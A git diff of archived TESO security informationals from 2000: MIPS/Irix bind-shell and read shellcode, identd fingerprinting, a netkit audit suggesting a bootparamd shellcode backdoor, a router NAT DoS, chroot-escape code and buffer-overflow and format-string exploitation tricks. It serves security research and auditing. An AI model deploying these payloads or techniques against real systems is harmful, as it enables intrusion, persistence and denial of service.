$t6, $t6, $zero */ + 0x01cd6804, /* sllv $t5, $t5, $t6 */ + 0x240e7350, /* li $t6, 0x7350 (port) */ + 0x01ae6825, /* or $t5, $t5, $t6 */ + 0xafadfff0, /* sw $t5, -16($sp) */ + 0xafa0fff4, /* sw $zero, -12($sp) */ + 0xafa0fff8, /* sw $zero, -8($sp) */ + 0xafa0fffc, /* sw $zero, -4($sp) */ + 0x02102025, /* or $a0, $s0, $s0 */ + 0x240effef, /* li $t6, -17 */ + 0x01c03027, /* nor $a2, $t6, $zero */ + 0x03a62823, /* subu $a1, $sp, $a2 */ + 0x24020442, /* li $v0, 1090 (bind) */ + 0x0101010c, /* syscall */ + 0x240f7350, /* li $t7, 0x7350 (nop) */ + + 0x02102025, /* or $a0, $s0, $s0 */ + 0x24050101, /* li $a1, 0x0101 */ + 0x24020448, /* li $v0, 1096 (listen) */ + 0x0101010c, /* syscall */ + 0x240f7350, /* li $t7, 0x7350 (nop) */ + + 0x02102025, /* or $a0, $s0, $s0 */ + 0x27a5fff0, /* addiu $a1, $sp, -16 */ + 0x240dffef, /* li $t5, -17 */ + 0x01a06827, /* nor $t5, $t5, $zero */ + 0xafadffec, /* sw $t5, -20($sp) */ + 0x27a6ffec, /* addiu $a2, $sp, -20 */ + 0x24020441, /* li $v0, 1089 (accept) */ + 0x0101010c, /* syscall */ + 0x240f7350, /* li $t7, 0x7350 (nop) */ + 0x3057ffff, /* andi $s7, $v0, 0xffff */ + + 0x2804ffff, /* slti $a0, $zero, -1 */ + 0x240203ee, /* li $v0, 1006 (close) */ + 0x0101010c, /* syscall */ + 0x240f7350, /* li $t7, 0x7350 (nop) */ + + 0x02f72025, /* or $a0, $s7, $s7 */ + 0x2805ffff, /* slti $a1, $zero, -1 */ + 0x2806ffff, /* slti $a2, $zero, -1 */ + 0x24020426, /* li $v0, 1062 (fcntl) */ + 0x0101010c, /* syscall */ + 0x240f7350, /* li $t7, 0x7350 (nop) */ + + 0x28040101, /* slti $a0, $zero, 0x0101 */ + 0x240203ee, /* li $v0, 1006 (close) */ + 0x0101010c, /* syscall */ + 0x240f7350, /* li $t7, 0x7350 (nop) */ + + 0x02f72025, /* or $a0, $s7, $s7 */ + 0x2805ffff, /* slti $a1, $zero, -1 */ + 0x28060101, /* slti $a2, $zero, 0x0101 */ + 0x24020426, /* li $v0, 1062 (fcntl) */ + 0x0101010c, /* syscall */ + 0x240f7350, /* li $t7, 0x7350 */ + + 0x02c02027, /* nor $a0, $s6, $zero */ + 0x240203ee, /* li $v0, 1006 (close) */ + 0x0101010c, /* syscall */ + 0x240f7350, /* li $t7, 0x7350 (nop) */ + + 0x02f72025, /* or $a0, $s7, $s7 */ + 0x2805ffff, /* slti $a1, $zero, -1 */ + 0x02c03027, /* nor $a2, $s6, $zero */ + 0x24020426, /* li $v0, 1062 (fcntl) */ + 0x0101010c, /* syscall */ + 0x240f7350, /* li $t7, 0x7350 (nop) */ + + 0xafa0fffc, /* sw $zero, -4($sp) */ + 0x24068cb0, /* li $a2, -29520 */ + 0x04d0ffff, /* bltzal $a2, pc-4 */ + 0x8fa6fffc, /* lw $a2, -4($sp) */ + 0x240fffc7, /* li $t7, -57 */ + 0x01e07827, /* nor $t7, $t7, $zero */ + 0x03eff821, /* addu $ra, $ra, $t7 */ + 0x23e4fff8, /* addi $a0, $ra, -8 */ + 0x8fedfffc, /* lw $t5, -4($ra) */ + 0x25adffbe, /* addiu $t5, $t5, -66 */ + 0xafedfffc, /* sw $t5, -4($ra) */ + 0xafa4fff8, /* sw $a0, -8($sp) */ + 0x27a5fff8, /* addiu $a1, $sp, -8 */ + 0x24020423, /* li $v0, 1059 (execve) */ + 0x0101010c, /* syscall */ + 0x240f7350, /* li $t7, 0x7350 (nop) */ + 0x2f62696e, /* .ascii "/bin" */ + 0x2f736842, /* .ascii "/sh", .byte 0xdummy */ +}; + +== read + +/* 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso + */ +unsigned long int shellcode[] = { + 0x24048cb0, /* li $a0, -0x7350 */ +/* dpatch: */ 0x0490ffff, /* bltzal $a0, dpatch */ + 0x2804ffff, /* slti $a0, $zero, -1 */ + 0x240fffe3, /* li $t7, -29 */ + 0x01e07827, /* nor $t7, $t7, $zero */ + 0x03ef2821, /* addu $a1, $ra, $t7 */ + 0x24060201, /* li $a2, 0x0201 (513 bytes) */ + 0x240203eb, /* li $v0, SYS_read */ + 0x0101010c, /* syscall */ + 0x24187350, /* li $t8, 0x7350 (nop) */ +}; + + +References +========== + +For further information you may want to consult this excellent references: + + [1] See MIPS Run + Dominic Sweetman, Morgan Kaufmann Publishers + ISBN 1-55860-410-3 + + [2] MIPSPro Assembly Language Programmer's Guide - Volume 1/2 + Document Number 007-2418-001 + http://www.mips.com/ and http://www.sgi.com/ + +=============================================================================== + diff --git a/informationals/teso-i0021.txt b/informationals/teso-i0021.txt new file mode 100644 index 0000000..b421fb8 --- /dev/null +++ b/informationals/teso-i0021.txt @@ -0,0 +1,70 @@ +0021 2000/04/15 pidentd VERSION Linux distribution fingerprinting + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: pidentd VERSION Linux distribution fingerprinting +Date .................: 2000/04/15 17:00 +Author ...............: scut +Publicity level ......: known +Affected .............: identd daemons +Type of entity .......: method to obtain information +Type of discovery ....: useful information +Severity/Importance ..: low +Found by .............: version infos by TESO people + +=============================================================================== + +There are lots of different Linux distributions, and although you can often +determine the distribution used from their banners, such as the telnet banner +or the HTTP Server response field, it is difficult to determine the +distribution from a hardened Linux box. They often only have SSH and identd +enabled. + +However, most people don't know about the identd "VERSION" request, where the +most popular ident daemon used by almost every Linux distribution, the pidentd, +answers with it's own version number and compile time. + +Here is a list compiled through the help of TESO and friends, that will help +you to determine the distribution remotely. Thanks go out to all the people +that send in those lines :-) + +To get the version, just do: + +(echo VERSION ; sleep 2) | telnet localhost 113 + +Please mail new distribution and identd version information to +scut@nb.in-berlin.de, so I can keep this list up to date. + +0 , 0 : X-VERSION : + + Distribution +------------------------------------------------------------ ------------------ +2.6.1 (Compiled: 17:21:18 Jul 2 1998) Debian 2.0 +2.6.1 (Compiled: 17:47:13 Feb 13 1999) Debian 2.1 +2.5.1 DLD 5.41 Pro +pidentd 3.0.7 for Linux 2.2.13-22 (Nov 7 1999 00:18:10) Halloween 4 +INVALID-PORT SlackWare 4 +2.8.3 (Compiled: 00:36:16 Oct 22 1999) SlackWare 7 +2.7.4 (Compiled: 06:11:54 Aug 22 1998) SuSE 5.3 +2.7.4 (Compiled: 13:20:35 Dec 14 1998) SuSE 6.0 +2.7.4 (Compiled: 06:22:26 Apr 15 1999) SuSE 6.1 +2.7.4 (Compiled: 13:22:44 Jul 23 1999) SuSE 6.2 EVAL +2.7.4 (Compiled: 17:09:12 Aug 22 1999) SuSE 6.2 +pidentd 3.0.7 for Linux 2.2.10 (Nov 8 1999 20:30:25) SuSE 6.3 +pidentd 3.1a14 for Linux 2.2.14 (Mar 24 2000 22:28:31) SuSE 6.4 +UNKNOWN-ERROR RedHat 5.2 +2.8.3 (Compiled: 22:18:25 Jan 27 1999) RedHat 6.0 Publish +2.8.5 (Compiled: 22:13:48 Mar 21 1999) RedHat 6.0 +pidentd 3.0.7 for Linux 2.2.5-22smp (Sep 13 1999 20:16:57) RedHat 6.1 +pidentd 3.0.10 for Linux 2.2.5-22smp (Feb 22 2000 16:14:21) RedHat 6.2 +0 , 0 : ERROR : INVALID-PORT Stampede Linux +------------------------------------------------------------ ------------------ + +Also, the 3.* versions of the pidentd daemon respond to case mixed VERSION +requests, such as "vERSION", while the 2.* versions need a case fixed "VERSION" +request and otherwise doesn't recognize it as a command. + +=============================================================================== + diff --git a/informationals/teso-i0022.txt b/informationals/teso-i0022.txt new file mode 100644 index 0000000..de5a592 --- /dev/null +++ b/informationals/teso-i0022.txt @@ -0,0 +1,266 @@ +0022 2000/03/19 TESO AUDIT summary: netkit-combo-0.16 + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: TESO AUDIT summary: netkit-combo-0.16 +Date .................: 2000/03/19 22:00 +Author ...............: scut +Publicity level ......: unknown +Affected .............: Linux netkit-combo-0.16 +Type of entity .......: implementation +Type of discovery ....: auditing +Severity/Importance ..: medium +Found by .............: TESO AUDIT team + +Information =================================================================== + +This are the results from the TESO Audit project for the netkit-combo-0.16 +package. + +No severe vulnerability has been found in the netkit package, although a lot +of minor issues and half-exploitable things were found. Altogether there were +seven issues found. + +netkit-bootparamd +-- buffer overflow from config file parsing +description by Bawd: + + Launching the bootparamd with the debug option in background + + [root@foobar rpc.bootparamd]# ./bootparamd -d & + [2] 1268 + + Now launch the callbootd (the bootparam debugging proggie given with + the package) + + [root@foobar rpc.bootparamd]# ./callbootd 127.0.0.1 127.0.0.1 + bootparamd: whoami got question for 127.0.0.1 + This is host localhost + + [2]+ Segmentation Fault (core dumped) ./bootparamd -d + + Here it segfault, why ? + + In fact, the bootparam daemon, receives our request of boot, it looks + at the file /etc/bootparams and copies the location of the bootparams + database. + + Lets jump in the code to see what does the dameon exactly: + + It's in the rpc.bootparamd.c and more precisely in: + + static int getthefile(char *askname,char *fileid,char *buffer) + + they say : + /* getthefile return 1 and fills the buffer with the information + of the file, e g "host:/export/root/client" if it can be found. + If the host is in the database, but the file is not, the buffer + will be empty. (This makes it possible to give the special + empty answer for the file "dump") */ + + + lets go: + bpf = fopen(bootpfile, "r"); + + open the file /etc/bootparams + + if (match) { + fid_len = strlen(fileid); + while (!res && (fscanf(bpf,"%s", info)) > 0) { + ch = getc(bpf); /* and a character */ + if (*info != '#') { /* Comment ? */ + if (!strncmp(info, fileid, fid_len) && + *(info + fid_len) == '=') + { + where = info + fid_len + 1; + if (isprint(*where)) { + /* found file */ + strcpy(buffer, where); + res = 1; break; + } + } + + + the offending code is in the strcpy + it copies the line it found, into the buffer while the buffer is + defined like this: + (in the bootparamproc_getfile_1_svc) + + if (getthefile(askname, getfile->file_id,buffer)) + + and static char buffer[MAXLEN]; with #define MAXLEN 800 + + so you can edit the /etc/bootparams configuration file and insert + something like + 192.168.0.111:/AAAAAAAAAAA*2000 + resulting in a segfault + + So you see that we have to edit the configuration file. It cant be of + real use if you trying to remotely exploit this little bug, but (there + is a but), you can use it as a wicked backdoor. + Say you gained root access to the box and the box runs rpc.bootparamd. + Then you can edit the configuration file like this: + 156.3.2.1:THE_SHELLCODE_that_casts_a_shell + + then remotely you can start callbootd like this: + ./callbootd <156.3.2.1> + and here you have a good rpc.bootparamd that casts you a shell. + + +bsd-finger/finger/display.c:122 +-- documentation/commentation error + + \t isn't stripped in finger replies, although comments say so. + + * locale settings or is on the other side of the planet. So, + * strip 0-31, 127, 128-159, and 255. Note that not stripping + * 128-159 is asking for trouble, as 155 (M-esc) is interpreted + + if (((ch&0x7f) >= 32 && (ch&0x7f) != 0x7f) || ch=='\t') { + + +bsd-finger/finger/display.c:141 +-- characters 127-159 that should be stripped can be circumvented + + although characters above and equal to 0x80 are and'ed with \x7f they + are later outputted, prepended with "M-^" the is the old + original character and'ed with \x7f and \x40 added. so character \x9b, + which should be filtered can be outputted by using \xdb, since + (\xdb & \x7f) + '@' will result in \x9b. + + if (ch&0x80) { + putc('M', f); + putc('-', f); + ch &= 0x7f; + } + + putc('^', f); + if (ch==0x7f) putc('?', f); + else putc(ch+'@', f); + + +netkit-rwho/rwhod/rwhod.c:246 +netkit-rwho/rwhod/rwhod.c:294 +-- path relevant remotely supplied characters arent stripped from tempfile + + rwhod creates a tempfile from the hostname passed from the remote + client: + + wd.wd_hostname[sizeof(wd.wd_hostname)-1] = 0; + if (!verify(wd.wd_hostname)) { + syslog(LOG_WARNING, "malformed host name from %x", + from.sin_addr); + continue; + } + snprintf(path, sizeof(path), "whod.%s", wd.wd_hostname); + whod = open(path, O_WRONLY | O_CREAT, 0644); + + while the wd_hostname is truncated and verified the verification + routine misses some important characters: + + static int + verify(const char *name) + { + register int size = 0; + + while (*name) { + if (!isascii(*name) || !(isalnum(*name) || + ispunct(*name))) + return (0); + name++, size++; + } + return size > 0; + } + + so verify ("../../") and verify ("/etc/") return true. whether this + results in something exploitable has to be checked. + + Exploitation requires write access to /var/spool/rwho, which is 0755. + Unless there is a "arbitrary-make-directory" vulnerability this is + not exploitable. + + +netkit-ntalk/talkd/announce.c:135 +-- buffer being copied into another buffer may be 9 bytes too long + + talkd creates some messages before writing the user supplied message + to the term. after doing this it merges all messages into one big + buffer. however the length checking can be circumvented, as in: + + bptr = big_buf; + *bptr++ = '^G'; /* send something to wake them up */ + *bptr++ = '\r'; /* add a \r in case of raw mode */ + *bptr++ = '\n'; + for (i = 0; i < N_LINES; i++) { + /* copy the line into the big buffer */ + lptr = line_buf[i]; + while (*lptr != '\0') + *(bptr++) = safechar(*(lptr++)); + /* pad out the rest of the lines with blanks */ + for (j = sizes[i]; j < max_size + 2; j++) + *(bptr++) = ' '; + *(bptr++) = '\r'; /* add a \r in case of raw mode */ + *(bptr++) = '\n'; + } + *bptr = 0; + + max_size can be (N_CHARS - 1) as largest value. then the total amount + of data being copied is (((N_CHARS - 1) + 2) * N_LINES) + 4 bytes long, + which is (N_CHARS = 120, N_LINES = 5): 121 * 5 + 4 = 609 bytes. the + buffer big_buf is only N_CHARS*N_LINES (= 600) bytes long. bingo. + + this is only exploitable under a lot of conditions, practically this + is of no real use in the field. + + +netkit-ntalk/talkd/announce.c:161 +-- tty filename is user supplied opened without character white/blacklisting + + the talk request announcement is made through directly writing at the + target users tty. to check whether this is possible the full path to + the tty device file is constructed. this construction does just + connects the dev directory path (usualy "/dev/") to the user supplied + tty. so user supplied terminal names such as "../root/.rhosts" is + possible theoretically. the bad thing about this is that previously + to this call this is blocked by the find_user function, which checks + whether a) the user is logged in, and b) the user supplied tty is + a correct one. however, it should be fixed. + + snprintf(full_tty, sizeof(full_tty), "%s/%s", _PATH_DEV, + request->r_tty); + if (access(full_tty, F_OK) != 0) + return FAILED; + fd = open(full_tty, O_WRONLY|O_NOCTTY); + if (fd<0) { + return (PERMISSION_DENIED); + } + if (fstat(fd, &stbuf) < 0) { + return (PERMISSION_DENIED); + } + if ((stbuf.st_mode&020) == 0) { + return (PERMISSION_DENIED); + } + print_mesg(fd, request, remote_machine); + + +netkit-base/ping/ping.c:329 +-- invalid parsing of IP address information + + if (sscanf(optarg, "%u.%u.%u.%u%c", + &i1, &i2, &i3, &i4, &junk) != 4) { + printf("bad interface address '%s'\n", + optarg); + exit(2); + } + ifaddr.s_addr = (i1<<24)|(i2<<16)|(i3<<8)|i4; + + since the numbers are parsed as unsigned integers one can set an + arbitraty s_addr by using a defunc IP such as for example + 0.0.0.2378322822. this is not exploitable since later this address + is checked when setting the multicast options on the icmp socket. + however, it should be fixed. + +=============================================================================== + diff --git a/informationals/teso-i0023.txt b/informationals/teso-i0023.txt new file mode 100644 index 0000000..b21eb1c --- /dev/null +++ b/informationals/teso-i0023.txt @@ -0,0 +1,156 @@ +0023 2000/04/16 Information on BinTec Router DoS + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: By filling the NAT table of a BinTec Router one can + force the machine to reboot because of memory shortage +Date .................: 2000/04/16 00:00 +Author ...............: rookie +Publicity level ......: unknown +Affected .............: BinTec Router (BRICK-XS1/4 tested) + Firmware 4.9.3 has fixed this bug by deleting + Table entries, the 'Final Release' 5.1.2 reintroduced + the bug again +Type of entity .......: +Type of discovery ....: +Severity/Importance ..: low, stupid DoS, easy to use +Found by .............: rookie + +=============================================================================== + +BinTec Router will reboot automatically when memory is short, so the perfect +DoS is to fill up the memory. + +A common setup especially for workgroup and small business Access Router to +connect many computers over one or two ISDN lines is NAT (Network Adress +Translation). However, NAT is also considered to be a 'security feature' +because it acts like a stateful transparent proxy for private networks, so it +can be found on other setups, too. + +Due to this behaviour a router doing NAT has to manage a table with the +following information for every connection: + +internal network ip & port -> router external port -> target ip & port + + +a.) + +Example from an XS Router (Firmware 5.1.2): + +cass:system> ipNatTable + +inx IfIndex(*ro) Protocol(*ro) IntAddr(*ro) IntPort(*ro) + ExtAddr(ro) ExtPort(ro) RemoteAddr(ro) RemotePort(ro) + Direction(ro) Age(ro) + + 00 10001 tcp 192.168.0.100 1112 + 195.202.39.137 32824 212.3.152.130 50005 + outgoing 0 00:00:02.00 + + +b.) + +A packet with SYN flag establishes an entry: + +raven:~# nmap -sS www.ccc.de -p 12345 + + 08 10001 tcp 192.168.0.100 63072 + 195.202.39.137 33016 195.21.255.248 12345 + outgoing 0 00:00:02.00 + + +c.) + +However the table entry is deleted for that connection if a RST, FIN or +ICMP Error is received: + +cass:ipExtIfTable> ipextifnatrmvfin + +inx NatRmvFin(rw) + + 00 yes /* ethernet 1*/ + + 01 yes /* ethernet 2*/ + + 02 yes /* dial up line */ + + +d.) + +For idle connections there is a timeout of 1 hour for TCP and 30 +seconds for icmp and udp: + +cass:ipExtIfTable> ipextifnattcptimeout + +inx NatTcpTimeout(rw) + + 00 3600 + + 01 3600 + + 02 3600 + +cass:ipExtIfTable> ipextifnatothertimeout + +inx NatOtherTimeout(rw) + + 00 30 + + 01 30 + + 02 30 + + +Notice: Setting down the timeout won't help much, you can force the machine + to reboot with nmap -sS down to about 2 seconds *with* RSTet + connections. With anything below 30 seconds the router will kill any + telnet, IRC and whatsoever idle connection. + +Conclusion: Rebooting the machine from the masqueraded network is trivial by + sending lots of SYN packets from different source IPs and ports to + an external IP that does not send RST packets back (however even + thenn the router memory might overflow) + +e.) + +Very often a forward rule is implemented to allow services from the outside +through NAT. + +The default behaviour is to reject connections from the outside: + +Apr 19 23:39:18 cass INET: NAT: refused incoming session on ifc 10001 prot 6 +195.202.39.137:113 <- 128.176.216.234:1046 + +However a forward rule can be defined: + + Service user defined + Protocol tcp + Port (-1 for any) 113 + Destination 192.168.0.100 + +The identd request goes through: + +Apr 20 00:39:28 raven tcplogd: auth connection attempt from +HOTSPOT2.UNI-MUENSTER.DE [128.176.216.234] + + +f.) + +Entry in the NAT Table: + +cass:ipNatTable> ipNatTable + +inx IfIndex(*ro) Protocol(*ro) IntAddr(*ro) IntPort(*ro) + ExtAddr(ro) ExtPort(ro) RemoteAddr(ro) RemotePort(ro) + Direction(ro) Age(ro) + + 05 10001 tcp 192.168.0.100 113 + 195.202.39.137 113 128.176.216.234 1049 + incoming 0 00:00:05.00 + +Conclusion: Rebooting from the outside is simple if a forward rule has been + defined (very likely). + +=============================================================================== diff --git a/informationals/teso-i0024.txt b/informationals/teso-i0024.txt new file mode 100644 index 0000000..b3fe037 --- /dev/null +++ b/informationals/teso-i0024.txt @@ -0,0 +1,136 @@ +0024 2000/05/06 chroot break possibilities overview + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: chroot break possibilities overview +Date .................: 2000/05/06 13:00 +Author ...............: scut +Publicity level ......: known +Affected .............: most OS's offering the chroot() system call +Type of entity .......: access elevation +Type of discovery ....: useful information +Severity/Importance ..: low +Found by .............: original discovery unknown, OS data by vax and teso + +=============================================================================== + +Most Unix operating systems offer the chroot() system call. With it the root +pointer of the filesystem can be changed for one process, so only parts of the +filesystem are still visible to it. This is useful for some daemons, which +would have access to the whole filesystem in case their security breaks. +However to properly allow the chroot() idea to work, two things must be done +directly after the chroot() call: a chdir to the chroot'ed directory must be +done and the superuser privileges have to be dropped. + +The first condition, the change dir to the chroot directory is required because +the current working directory is still outside of the chroot directory and the +OS will treat any process which is outside of it's chroot pointer as if the +chroot doesn't exist. Once it is inside this will change and the process can +not escape from the directory. The dropping of the superuser privileges has +another cause, since only the root user can issue chroot() system calls, he +may be able to issue chroot() calls even when inside the chroot directory, +this has to be disabled by dropping the privileges. + +The trick to break chroot() is just working under UID 0 and works as this: + + /* chroot + chdir */ + chroot ("/tmp"); + chdir ("/tmp"); + + /* now we're jailed in /tmp, so our root / is actually /tmp */ + /* create a subdirectory */ + mkdir ("foobar", 0700); + + /* chroot to this subdirectory */ + chroot ("foobar"); + + /* now we're outside of the chroot'ed environment, so we cd up */ + /* to the root directory */ + for (i = 10 ; i > 0 ; --i) + chdir (".."); + + /* now undo the whole chroot mess */ + chroot ("."); + +As you can see we first get outside of the change root directory not by +changing or working directory (because we can't do that), but by changing +the chroot directory itself to a subdirectory. For this operation we need +root privileges. Since we are outside the chroot environment we can freely +move our working directory except into the chroot()'ed one, which would +limit us again. Once we are at the root directory we chroot to it to undo +the whole mess created earlier. + +Who discovered this nice trick in the first place is unknown, if you know +it please contact me. + +Unfortunatly this does not work on all operating systems. Here is a list of +operating systems and whether they allow this. Thanks to vax, skyper, doze and +various other people to help compiling this data. + + Operating System break successful + ------------------------------------- ----------------- + AIX 4.1.5 no + AIX 4.3.3 no + FreeBSD 2.2.8-STABLE yes + FreeBSD 4.0-RELEASE no + IRIX 5.3 yes + IRIX 6.4 yes + IRIX 6.5 yes + Linux 2.0.x yes + Linux 2.2.x yes + Linux 2.3.x yes + OpenBSD 2.6 no + OpenBSD 2.7-beta no + SunOS 5.5 yes + SunOS 5.5.1 yes + SunOS 5.6 yes + SunOS 5.7 yes + ------------------------------------- ----------------- + +If you have test data that isn't in the list yet, please mail it to me. +(scut@nb.in-berlin.de) + +ADDENDUM: +(from a mail send to HERT mailinglist about 7350wu chroot breaking code. + smiler thinks this does not work on normal chroot-scenarios, but + nevertheless I include it for the archives ;) + +Date: Tue, 19 Sep 2000 00:16:30 +0200 +From: Kalou +To: hert@hert.org +Subject: [HERT Private] drunk again + +Just to restate some things clearly : + +linux/7350wu/7350wu.c: unmodified: line 142 of 1450 [9%]. + +/* break chroot and exec /bin/sh - dont use on an unbreakable host like 4.0 */ + +I wish i could reach [-sc. & z-.] =) + +As i may have posted some time ago, freebsd chroot() is breakable +even with FreeBSD 4-0.. In 4.0, they forbid a chroot() with an open +file descriptor pointing to a directory *but* they forget to call +chdir() from within chroot(). So anything you need to break it is +to chroot() without having done an open("."..) and to chdir("../../../..") +immediatly after. Shortly, just remove open(".") and fchdir() from your +eggshells. This works with older releases, too. + +I didn't see many public chroot breaking techniques not involving this +fchdir() trick, that is necessary only for O.S. that chdir() when you +call chroot(). + +Anyway don't forget chroot() allows mknod(). + +This was tested on: + +FreeBSD eclipse 4.0-RELEASE FreeBSD 4.0-RELEASE #4: Sat Aug 19 22:08:48 CEST 2000 +root@eclipse:/usr/src/sys/compile/ECLIPSE alpha + +Just please correct this if i'm wrong. + + +=============================================================================== + diff --git a/informationals/teso-i0025.txt b/informationals/teso-i0025.txt new file mode 100644 index 0000000..4e73dac --- /dev/null +++ b/informationals/teso-i0025.txt @@ -0,0 +1,291 @@ +0025 2000/05/20 some spicy tricks for buffer overflow exploitation + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: some spicy tricks for buffer overflow exploitation +Date .................: 2000/05/20 13:00 +Author ...............: scut +Publicity level ......: some known, some possibly known, some unknown +Affected .............: buffer overflow exploits +Type of entity .......: program behaviour +Type of discovery ....: useful information +Severity/Importance ..: low +Found by .............: various people, scut, skyper, duke + +=============================================================================== + +Although buffer overflows are kinda old now, there are still a lot of things +to discover. Here are a few tricks I noticed when playing around with +exploitation in the last two years. + + +trick I. "enlarging exploitation space" + + This trick is known and although it is very helpful it is seldomly used. + Imagine a relativly small buffer of say 128 bytes, followed by the saved + framepointer and the return address. In normal remote exploitation you + would use a position independant portshell code, which may be around 125 + bytes for the x86 architecture. Since you have 128+4 (132) bytes before + the return address you can prepend the shellcode with some 7 bytes of + NOP instructions. So your return address has to hit the NOP space in a + 7 byte long frame, which requires exact knowledge about the target binary. + + However in case you're allowed to store more data you can use a small trick + to enlarge your offset frame. Say you can write 256 bytes at max to the + target buffer. Before the trick your target buffer looks like: + + <7 NOP> + + Using the trick it looks like: + + <130 NOP><3 NOP> + + Now you have a target frame of 133 bytes, and the offset is way more + reliable. The is a two byte instruction which does nothing but + jumps 4 bytes ahead, so in case you hit the 130 bytes NOP space with your + offset you don't "execute" the return address. + + +trick II. "lower stack space page fault" + + Sometimes there is code like this: + + void func (char *foo) { + char * moo = foo; + char buffer[256]; + + strcpy (buffer, foo); + moo += strlen (foo); + if (*moo != '\0') + exit (1); + } + + Although this code snippet makes no sense it effectivly denies a simple + buffer overflow exploitation. However, clever people might overwrite the + `moo' pointer with a valid pointer that points to a bunch of NUL bytes. + But how to get a large space fully populated by NUL bytes ? On the x86 + architecture (and most other architectures) you can just use a lower stack + page. Since it will be unused when the pointer is first used (by the *moo), + this will create a page fault in the kernel, and the kernel will allocate + us a new page. Since the kernel ensures you cannot read other processes + memory it overwrites the page with NUL bytes. Bingo. + Just overwrite this example with: + + <0xbfffd010> + + The 0xbfffd010 will be the new moo pointer. + + +trick III. "incremental NUL byte creation" + + On some big endian architectures you're faced with the problem of creating + a 64 bit pointer as return address, while there is a no way to insert NUL + bytes. This is nasty if the upper bits of the address have to be \x00. + + In most cases this renders a simple exploitation undoable, except for one + case, where some special code is used. + Imagine something like: + + void func (void) { + char buffer[256]; + + while (gets (buffer) != NULL) + parseline (buffer); + } + + Normally the stack space looks like + + + + We assume that both the framepointer and the retaddr are 64 bit pointers, + stored big endian and the upper 32 bits have to be zero'ed out (this is + the case on Irix for example). Now we have a problem since we cannot + store NUL bytes but are required to in order to overwrite the retaddr with + a valid address that points into our code. But we can exploit the + incremental behaviour, by using something like this: + + <264 buffer with NOPS and shellcode><4 dummy bytes> + <264 buffer with NOPS and shellcode><3 dummy bytes> + <264 buffer with NOPS and shellcode><2 dummy bytes> + <264 buffer with NOPS and shellcode><1 dummy bytes> + <264 buffer with NOPS and shellcode><0 dummy bytes> + + We overflow the buffer five times, the first time we write the correct + return address in the lower 32 bits, but set the upper 32 bits to something + non-NUL. Then we overflow four times more to store a NUL byte each time, + effectivly resulting in a buffer layout like: + + <264 buffer with NOPS and shellcode>0x000000007fff2058 + + +trick IV. "type issues and funky long strings" + + No length can be negative. Every physics knows this, but some people, like + l0pht don't know this ;-). So all string functions take unsigned arguments + if a length is required, as in strncat and strncpy. However, if the user + has a way to supply the length argument you can render the length protection + unuseable. Though this is normally not the case, there are some very nasty + ways this can happen. An example snippet may look like: + + void func(char *dnslabel) { + char buffer[256]; + char * indx = dnslabel; + int count; + + count = *indx; + buffer[0] = '\x00'; + + while (count != 0 && (count + strlen (buffer)) < sizeof (buffer) - 1) { + strncat (buffer, indx, count); + indx += count; + count = *indx; + } + } + + Although length checking and strn* functions were used this is exploitable, + because count can contain negative values. (char) is a signed type and will + be sign extended to a larger type, such as (int). Therefore the + "count = *indx;" statement can assign count values from -128 to +127. This + way the later check can be circumvented. For the strncat function the count + value will be used as if it would be assigned to an unsigned int variable, + resulting in a very large number (on 32 bit systems -1 will be 2^32-1). + This complicated scheme has many little mods, and you can way too fast + assume a fix might be just to put unsigned type modifiers in front of the + count variables, but it remains exploitable. + + Every function that takes a size_t argument expects an unsigned value. + However if the program can be tricked into supplying a negative (signed) + number as size argument this value will be casted to unsigned, hence + resulting in a very large number. This is useful for any strn* function, + where the source string is user supplied. + + +trick V. "overflow too short" + + Often your reachability is limited when overwriting the target buffer, + sometimes it does not even reach the return address or only parts of it. + There are several known methods to help you in this situation, most famous + the "one byte framepointer overflow". However, in case you can overwrite + pointers that are later write-accessed you can possibly write to an arbitrary + location in the process memory. This has been well demonstrated by bulba and + kiler of lam3rz in their phrack 56 article, however under the scope of + circumventing StackShield and StackGuard protections. Also you can utilize + heap overflow like techniques in the local variable stack space you can + overwrite to jump to your code if possible. Also, if you just can't reach + the framepointer or return address, take a look at the local variables + inbetween your buffer and the return address. Maybe you can first go for + them allowing you to later overwrite the return address. + + +trick VI. "s[n]printf issues" + + Sometimes programmers make a very nasty mistake when dealing with user + supplied data and sprintf (or snprintf) type of functions. They directly + allow the user to put format characters into the string. This looks like + + void func (char *str, char *password) { + char msg[1024]; + + snprintf (msg, sizeof (msg) - 1, str); + ... + } + + If the user can supply the string pointed to by str he can do some nasty + things: + + - it may be possible to obtain otherwise secret information, if the user + has the possibility to obtain the msg string later. This can be done by + inserting %p and %s format characters, which will pull the stack + parameters into the output string. Although a segfault might be the + direct result, it may be useful. + + - exploitation ! "how ?" you might ask, and yes, it's really tricky. here + is a snippet from the sprintf manpage: + + n The number of characters written so far is stored + into the integer indicated by the ``int *'' (or + variant) pointer argument. No argument is con- + verted. + + So you can write a small 32 bit number (or 64 bit, depending on the + architecture) to a pointer which is on the stack. So if the stack might + look like this (in a suid local application): + + 32 bits (void *) + 32 bits (char *) + + You can use a format string like "0123%n" to write 0x00000004 to the + location where points to. This requires a very special + context for real exploitation, but it is worth it. Also, if you have + somehow the method to set the pointer arbitrarily where the integer + is stored you can set it on an uneven boundary to only partially over- + write things (like the frame pointer), which may be interesting. + + (update: this can be done very effictivly using the technique described + in TESO Informational #27. Also it is very helpful if you can see the + printf'd string as response before actually exploiting.) + + - enlarging the exploitation buffer, using something like this: + "%8d%8d%8d%8d", so you'll get 8*4 = 32 bytes in front of the + buffer, only wasting 12 bytes. Though this destroys the stack, but since + you're going to destroy it anyway, this doesn't matter :-) + Also try "%-200d", which will create a 200 byte long space right-padded + string, or "%.100d" which will create up to 100 zero characters. There + is an overflow in the libc where "%.1200d" creates a segfault. This isn't + the case for the space padding. + + +trick VII. "sizeof (string) and i'm safe, right ?" + + Often people think if they use sizeof() stuff in string functions they are + safe. Most of the times this is true, but there are differences among the + str*n* functions that a programmer might oversee. + + strncpy (target, source, sizeof (target)) is safe, as we all knew, but + what about + + strcpy (target, ""); + strncat (target, source, sizeof (target)); + + This is not safe, since strncat appends sizeof (target) characters plus a + trailing NUL character. If you're unsure about whether some string function + terminates on the sizeof's byte or at the sizeof's - 1 